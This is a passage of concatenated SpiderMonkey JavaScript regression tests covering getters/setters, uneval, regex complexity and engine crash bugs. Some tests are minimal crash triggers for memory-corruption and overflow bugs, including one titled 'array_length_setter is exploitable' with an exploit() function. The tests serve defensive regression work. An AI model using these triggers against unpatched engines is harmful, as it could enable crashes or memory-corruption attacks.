statusitems = [ ]; var actual = ''; var actualvalues = [ ]; var expect= ''; var expectedvalues = [ ]; var cnName = 'name'; var cnColor = 'color'; var cnNonExistingProp = 'ASDF_#_$%'; var cnDEFAULT = 'default name'; var cnFRED = 'Fred'; var cnRED = 'red'; var obj = {}; var obj2 = {}; var s; // The only setter and getter functions we'll use in the three sections below - var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;}; var cnNameGetter = function() {this.nameGETS++; return this._name;}; // SECTION1: define getter/setter directly on an object (not its prototype) obj = new Object(); obj.nameSETS = 0; obj.nameGETS = 0; obj.__defineSetter__(cnName, cnNameSetter); obj.__defineGetter__(cnName, cnNameGetter); obj.name = cnFRED; obj.color = cnRED; status ='In SECTION1 of test; looking up extant getter/setter'; actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)]; expect = [cnNameSetter, cnNameGetter]; addThis(); status = 'In SECTION1 of test; looking up nonexistent getter/setter'; actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)]; expect = [undefined, undefined]; addThis(); status = 'In SECTION1 of test; looking up getter/setter on nonexistent property'; actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)]; expect = [undefined, undefined]; addThis(); // SECTION2: define getter/setter in Object.prototype Object.prototype.nameSETS = 0; Object.prototype.nameGETS = 0; Object.prototype.__defineSetter__(cnName, cnNameSetter); Object.prototype.__defineGetter__(cnName, cnNameGetter); obj = new Object(); obj.name = cnFRED; obj.color = cnRED; status = 'In SECTION2 of test looking up extant getter/setter'; actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)]; expect = [cnNameSetter, cnNameGetter]; addThis(); status = 'In SECTION2 of test; looking up nonexistent getter/setter'; actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)]; expect = [undefined, undefined]; addThis(); status = 'In SECTION2 of test; looking up getter/setter on nonexistent property'; actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)]; expect = [undefined, undefined]; addThis(); // SECTION 3: define getter/setter in prototype of user-defined constructor function TestObject() { } TestObject.prototype.nameSETS = 0; TestObject.prototype.nameGETS = 0; TestObject.prototype.__defineSetter__(cnName, cnNameSetter); TestObject.prototype.__defineGetter__(cnName, cnNameGetter); TestObject.prototype.name = cnDEFAULT; obj = new TestObject(); obj.name = cnFRED; obj.color = cnRED; status = 'In SECTION3 of test looking up extant getter/setter'; actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)]; expect = [cnNameSetter, cnNameGetter]; addThis(); status = 'In SECTION3 of test; looking up nonexistent getter/setter'; actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)]; expect = [undefined, undefined]; addThis(); status = 'In SECTION3 of test; looking up getter/setter on nonexistent property'; actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)]; expect = [undefined, undefined]; addThis(); //--------------------------------------------------------------------------------- test(); //--------------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual.toString(); expectedvalues[UBound] = expect.toString(); UBound++; } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var i = 0; i < UBound; i++) { reportCompare(expectedvalues[i], actualvalues[i], getStatus(i)); } exitFunc ('test'); } function getStatus(i) { return statprefix + statusitems[i]; } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-351448.js0000664000175000017500000000476712106270663023062 0ustar sstanglsstangl// |reftest| skip -- Yarr doesn't have the same complexity errors at execution time. /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 351448; var summary = 'RegExp - throw InternalError on too complex regular expressions'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var strings = [ "/.X(.+)+X/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+X/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+XX/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+XX/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.X(.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.XX(.+)+X/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.XX(.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.XX(.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.[X](.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.[X](.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.[X](.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.[X](.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.[X][X](.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')", "/.[X][X](.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')" ]; expect = 'InternalError: regular expression too complex'; if (!options().match(/relimit/)) { options('relimit'); } for (var i = 0; i < strings.length; i++) { try { eval(strings[i]); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': ' + strings[i]); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-346494.js0000664000175000017500000000255612106270663023061 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 346494; var summary = 'try-catch-finally scope'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function g() { try { throw "foo"; } catch(e if e == "bar") { } catch(e if e == "baz") { } finally { } } expect = "foo"; try { g(); actual = 'No Exception'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); function h() { try { throw "foo"; } catch(e if e == "bar") { } catch(e) { } finally { } } expect = "No Exception"; try { h(); actual = 'No Exception'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-443569.js0000664000175000017500000000166212106270663023057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 443569; var summary = 'Do not assert: OBJ_IS_NATIVE(obj)'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); if (typeof window != 'undefined') { // delay test driver end gDelayTestDriverEnd = true; window.addEventListener("load", boom, false); } else { reportCompare(expect, actual, summary); } function boom() { var r = RegExp.prototype; r["-1"] = 0; Array.prototype.__proto__ = r; []["-1"]; reportCompare(expect, actual, summary); gDelayTestDriverEnd = false; jsTestDriverEnd(); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-358594-04.js0000664000175000017500000000132612106270663023300 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 358594; var summary = 'Do not crash on uneval(this).'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); // don't crash|assert f = function () { }; f.__proto__ = this; Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true }); uneval(this); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-328556.js0000664000175000017500000000124612106270663023053 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 328556; var summary = 'Do not Assert: growth == (size_t)-1 || (nchars + 1) * sizeof(jschar) == growth, in jsarray.c'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var D = []; D.foo = D; uneval(D); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-416834.js0000664000175000017500000000137412106270663023052 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 416834; var summary = 'Do not assert: !entry || entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->pc)'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); this.__proto__.x = eval; for (i = 0; i < 16; ++i) delete eval; (function w() { x = 1; })(); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367119-01.js0000664000175000017500000000217512106270663023271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367119; var summary = 'memory corruption in script_exec'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof Script == 'undefined') { print('Test skipped. Script or toSource not defined'); } else { var s = new Script(""); var o = { valueOf : function() { s.compile(""); Array(11).join(Array(11).join(Array(101).join("aaaaa"))); return {}; } }; s.exec(o); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-380889.js0000664000175000017500000000167512106270663023070 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 380889; var summary = 'Source disassembler assumes SRC_SWITCH has jump table'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f(i) { switch(i){ case 1: case xyzzy: } } if (typeof dis != 'undefined') { dis(f); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-420612.js0000664000175000017500000000124212106270663023031 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 420612; var summary = 'Do not assert: obj == pobj'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); this.__proto__ = []; this.unwatch("x"); if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-412926.js0000664000175000017500000000307512106270663023050 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 412926; var summary = 'JS_ValueToId(cx, JSVAL_NULL) should return atom for "null" string'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); actual = expect = 'No Errors'; var obj = { 'null': 1 }; var errors = []; if (!obj.hasOwnProperty(null)) errors.push('null property is not owned'); if (!obj.propertyIsEnumerable(null)) errors.push('null property is not enumerable'); var getter_was_called = false; obj.__defineGetter__(null, function() { getter_was_called = true; return 1; }); obj['null']; if (!getter_was_called) errors.push('getter was not assigned to the null property'); var setter_was_called = false; obj.__defineSetter__(null, function() { setter_was_called = true; }); obj['null'] = 2; if (!setter_was_called) errors.push('setter was not assigned to the null property'); if (errors.length) actual = errors.join('; '); gc(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-375183.js0000664000175000017500000000237612106270663023056 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 375183; var summary = '__noSuchMethod__ should not allocate beyond fp->script->depth'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var obj = { get __noSuchMethod__() { print("Executed"); return new Object(); }}; try { obj.x(); } catch(ex) { } reportCompare(expect, actual, summary + ':1'); obj = { __noSuchMethod__: {} }; try { obj.x(); } catch(ex) { } reportCompare(expect, actual, summary + ':2'); obj = { } obj.__noSuchMethod__ = {}; try { obj.x(); } catch(ex) { } reportCompare(expect, actual, summary + ':3'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-354541-02.js0000664000175000017500000000240212106270663023256 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 354541; var summary = 'Regression to standard class constructors in case labels'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary + ': in function'); String.prototype.trim = function() { print('hallo'); }; const S = String; const Sp = String.prototype; expect = 'No Error'; actual = 'No Error'; if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); } else { var s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; print(String === S); print(String.prototype === Sp); "".trim();'); s(); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367501-01.js0000664000175000017500000000161312106270663023260 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367501; var summary = 'getter/setter issues'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { expect = 'undefined'; var a = { set x(v) {} }; actual = a.x + ''; } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-453249.js0000664000175000017500000000132112106270663023043 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 453249; var summary = 'Do not assert with JIT: s0->isQuad()'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); this.__proto__.a = 3; for (var j = 0; j < 4; ++j) { [a]; } this.a = 3; for (var j = 0; j < 4; ++j) { [a]; } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-390598.js0000775000175000017500000000170512106270663023063 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 390598; var summary = 'array_length_setter is exploitable'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function exploit() { var fun = function () {}; fun.__proto__ = []; fun.length = 0x50505050 >> 1; fun(); } exploit(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-336410-1.js0000664000175000017500000000236012106270663023173 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell||Android) silentfail slow -- can fail silently due to out of memory /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 336410; var summary = 'Integer overflow in array_toSource'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); expectExitCode(0); expectExitCode(5); function createString(n) { var l = n*1024*1024; var r = 'r'; while (r.length < l) { r = r + r; } return r; } try { var n = 64; printStatus('Creating ' + n + 'M length string'); var r = createString(n); printStatus('Done. length = ' + r.length); printStatus('Creating array'); var o=[r, r, r, r, r, r, r, r, r]; printStatus('object.toSource()'); var rr = o.toSource(); printStatus('Done.'); } catch(ex) { expect = 'InternalError: allocation size overflow'; actual = ex + ''; print(actual); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-245795.js0000664000175000017500000000153312106270663023055 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 245795; var summary = 'eval(uneval(function)) should be round-trippable'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); if (typeof uneval != 'undefined') { function a() { b = function() {}; } var r = "function a() { b = function() {}; }"; eval(uneval(a)); var v = a.toString().replace(/[ \n]+/g, ' '); print(v) printStatus("[" + v + "]"); expect = r; actual = v; reportCompare(expect, actual, summary); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-435497-02.js0000664000175000017500000000162712106270663023300 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 435497; var summary = 'Do not assert op2 == JSOP_INITELEM'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { eval('(function() { x setter = 0, y; const x; })();'); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-421621.js0000664000175000017500000000141612106270663023035 0ustar sstanglsstangl// |reftest| skip -- obsolete test /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 421621; var summary = 'Do not assert with setter, export/import: (sprop)->slot != SPROP_INVALID_SLOT || !SPROP_HAS_STUB_SETTER(sprop)'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var th = this; this.__defineSetter__('x', function () {}); export *; import th.*; x; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-363258.js0000664000175000017500000000227512106270663023054 0ustar sstanglsstangl// |reftest| random -- bug 524788 /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 363258; var summary = 'Timer resolution'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var start = 0; var stop = 0; var i; var limit = 0; var incr = 10; var resolution = 5; while (stop - start == 0) { limit += incr; start = Date.now(); for (i = 0; i < limit; i++) {} stop = Date.now(); } print('limit=' + limit + ', resolution=' + resolution + ', time=' + (stop - start)); expect = true; actual = (stop - start <= resolution); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-374589.js0000664000175000017500000000210212106270663023052 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 374589; var summary = 'Do not assert decompiling try { } catch(x if true) { } ' + 'catch(y) { } finally { this.a.b; }'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var f = function () { try { } catch(x if true) { } catch(y) { } finally { this.a.b; } }; expect = 'function () { try { } catch(x if true) { } catch(y) { } ' + 'finally { this.a.b; } }'; actual = f + ''; compareSource(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/getset-004.js0000664000175000017500000001121412106270663022417 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date: 14 April 2001 * * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__() * Note: this is a non-ECMA language extension */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = '(none)'; var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()'; var statprefix = 'Status: '; var status = ''; var statusitems = [ ]; var actual = ''; var actualvalues = [ ]; var expect= ''; var expectedvalues = [ ]; var cnDEFAULT = 'default name'; var cnFRED = 'Fred'; var obj = {}; var obj2 = {}; var s = ''; // SECTION1: define getter/setter directly on an object (not its prototype) obj = new Object(); obj.nameSETS = 0; obj.nameGETS = 0; obj.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;}); obj.__defineGetter__('name', function() {this.nameGETS++; return this._name;}); status = 'In SECTION1 of test after 0 sets, 0 gets'; actual = [obj.nameSETS,obj.nameGETS]; expect = [0,0]; addThis(); s = obj.name; status = 'In SECTION1 of test after 0 sets, 1 get'; actual = [obj.nameSETS,obj.nameGETS]; expect = [0,1]; addThis(); obj.name = cnFRED; status = 'In SECTION1 of test after 1 set, 1 get'; actual = [obj.nameSETS,obj.nameGETS]; expect = [1,1]; addThis(); obj.name = obj.name; status = 'In SECTION1 of test after 2 sets, 2 gets'; actual = [obj.nameSETS,obj.nameGETS]; expect = [2,2]; addThis(); // SECTION2: define getter/setter in Object.prototype Object.prototype.nameSETS = 0; Object.prototype.nameGETS = 0; Object.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;}); Object.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;}); obj = new Object(); status = 'In SECTION2 of test after 0 sets, 0 gets'; actual = [obj.nameSETS,obj.nameGETS]; expect = [0,0]; addThis(); s = obj.name; status = 'In SECTION2 of test after 0 sets, 1 get'; actual = [obj.nameSETS,obj.nameGETS]; expect = [0,1]; addThis(); obj.name = cnFRED; status = 'In SECTION2 of test after 1 set, 1 get'; actual = [obj.nameSETS,obj.nameGETS]; expect = [1,1]; addThis(); obj.name = obj.name; status = 'In SECTION2 of test after 2 sets, 2 gets'; actual = [obj.nameSETS,obj.nameGETS]; expect = [2,2]; addThis(); // SECTION 3: define getter/setter in prototype of user-defined constructor function TestObject() { } TestObject.prototype.nameSETS = 0; TestObject.prototype.nameGETS = 0; TestObject.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;}); TestObject.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;}); TestObject.prototype.name = cnDEFAULT; obj = new TestObject(); status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype) actual = [obj.nameSETS,obj.nameGETS]; expect = [1,0]; addThis(); s = obj.name; status = 'In SECTION3 of test after 1 set, 1 get'; actual = [obj.nameSETS,obj.nameGETS]; expect = [1,1]; addThis(); obj.name = cnFRED; status = 'In SECTION3 of test after 2 sets, 1 get'; actual = [obj.nameSETS,obj.nameGETS]; expect = [2,1]; addThis(); obj.name = obj.name; status = 'In SECTION3 of test after 3 sets, 2 gets'; actual = [obj.nameSETS,obj.nameGETS]; expect = [3,2]; addThis(); obj2 = new TestObject(); status = 'obj2 = new TestObject() after 1 set, 0 gets'; actual = [obj2.nameSETS,obj2.nameGETS]; expect = [1,0]; // we set a default value in the prototype - addThis(); // Use both obj and obj2 - obj2.name = obj.name + obj2.name; status = 'obj2 = new TestObject() after 2 sets, 1 get'; actual = [obj2.nameSETS,obj2.nameGETS]; expect = [2,1]; addThis(); status = 'In SECTION3 of test after 3 sets, 3 gets'; actual = [obj.nameSETS,obj.nameGETS]; expect = [3,3]; // we left off at [3,2] above - addThis(); //--------------------------------------------------------------------------------- test(); //--------------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual.toString(); expectedvalues[UBound] = expect.toString(); UBound++; } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var i = 0; i < UBound; i++) { reportCompare(expectedvalues[i], actualvalues[i], getStatus(i)); } exitFunc ('test'); } function getStatus(i) { return statprefix + statusitems[i]; } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-328443.js0000664000175000017500000000155512106270663023051 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 328443; var summary = 'Uncatchable exception with |new (G.call) (F);| when F proto is null'; var actual = ''; var expect = 'Exception caught'; printBugNumber(BUGNUMBER); printStatus (summary); var F = (function(){}); F.__proto__ = null; var G = (function(){}); var z; z = "uncatchable exception!!!"; try { new (G.call) (F); actual = "No exception"; } catch (er) { actual = "Exception caught"; printStatus("Exception was caught: " 